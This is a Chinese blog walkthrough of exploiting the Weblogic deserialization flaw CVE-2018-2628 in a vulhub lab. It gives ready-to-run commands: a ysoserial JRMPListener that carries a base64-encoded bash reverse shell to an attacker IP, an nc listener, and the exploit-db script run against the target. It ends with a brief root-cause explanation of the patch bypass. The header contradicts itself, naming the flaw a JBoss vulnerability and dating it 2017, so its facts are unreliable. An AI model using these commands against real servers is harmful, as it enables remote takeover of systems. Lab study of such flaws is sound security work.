resttemplate 序列化_Weblogic WLS核心组件反序列化命令执行突破

作者介绍:Chow

Chow,一个行走的“十万个为什么”,喜欢学自己兴趣所向的知识,虽然现在还是个弱鸡,但是学就完事啦!

一、基本信息

一. 基本概要

发布时间:2017年11月22日

漏洞名称:JBOSSAS5.x/6.x反序列化命令执行漏洞

威胁类型:远程命令执行

CVE编号:CVE-2018-2628

影响版本:Weblogic 10.3.6.0、Weblogic 12.1.3.0、Weblogic 12.2.1.2、Weblogic 12.2.1.3

漏洞描述:CVE-2018-2628为CVE-2017-3248修复版本的绕过,远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,并可获取目标系统所有权限。

二、基本环境和工具

5786c8ce7cc8d0ce0fbbb7dfdcadf67f.png

1. 靶机环境:

靶机操作系统:Ubuntu

漏洞环境:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/

下载:https://vulhub.org/#/docs/install-docker-one-click/

使用说明:

执行以下命令启动Weblogic 10.3.6.0:

cd vulhub/weblogic/CVE-2018-2628

docker-compose up -d

访问访问http://your-ip:7001/console,初始化整个环境。

2. 操作环境:

操作操作系统:Kail

检测和发现工具

工具名称:CVE-2018-2628-MultiThreading

工具安装:下载.py文件即可

工具使用说明:2-操作机批量检测脚本CVE-2018-2628-MultiThreading使用说明.doc

工具下载地址:https://github.com/aedoo/CVE-2018-2628-MultiThreading

3、EXP/利用工具

工具名称:44553

工具安装:下载.py文件即可

使用说明:参阅漏洞利用步骤即可

下载地址:https://www.exploit-db.com/exploits/44553

需要配合ysoserial

ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)

三、利用过程

(详细说明漏洞的利用过程,要求以拿到webshell权限为利用过程)

1. 利用的条件/漏洞特征

利用Kail下的nmap工具,检测weblogic版本信息和t3协议是否开启。

8c9f19e69f1547b9c633a2c2018a8b9d.png

2. 漏洞利用步骤:

步骤1 开启监听服务JRMPListen

本地开启监听服务JRMPListen,利用ysoserial的JRMP对998端口监听

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

#[command]即为想执行的命令,而[listen port]是JRMP Server监听的端口。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 998 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xMjkvNjc2NyAwPiYx}|{base64,-d}|{bash,-i}" #引号内为反弹shell到192.168.160.129 6767端口经过base64加密后的指令

57ba0612fc9d4ebf614cc0b35a1b1701.png

步骤2 新开一个终端,监听反弹shell的端口

nc -lvp 6767

d72b5875b37a945c6b3c68d5f93e1e9b.png

步骤3 利用exploit脚本攻击

命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

#目标ip就是weblogic的ip。端口weblogic的端口

#ysoserial路径就是上方使用的ysoserial的路径

#JRMPListener port为主机端口,就是我使用的Kail,监听端口上方998

#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

python CVE-2018-2628exploit.py 192.168.160.134 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.160.129 998 JRMPClient

4cb442d58dee3996d07e447f6722250a.png

步骤4 成功反弹shell

4ae3d0e635d7903f0c601fb31f8b77b4.png

四、原理分析

fe5a4a386598efb1d1c1ecc6ce84bc0f.png

CVE-2018-2628原理为在CVE-2017-3248补丁中用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass处理rmi接口类型,这个resolveProxyClass只对 java.rmi.registry.Registry接口进行了判断,找一个其他的rmi接口即可绕过,比如java.rmi.activation.Activator。

cf2d9ce17949ba513e09e2de2233f60b.png

国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,下设部门有技术部和综合部。

如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!

学生会信箱:

student@goktech.cn

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值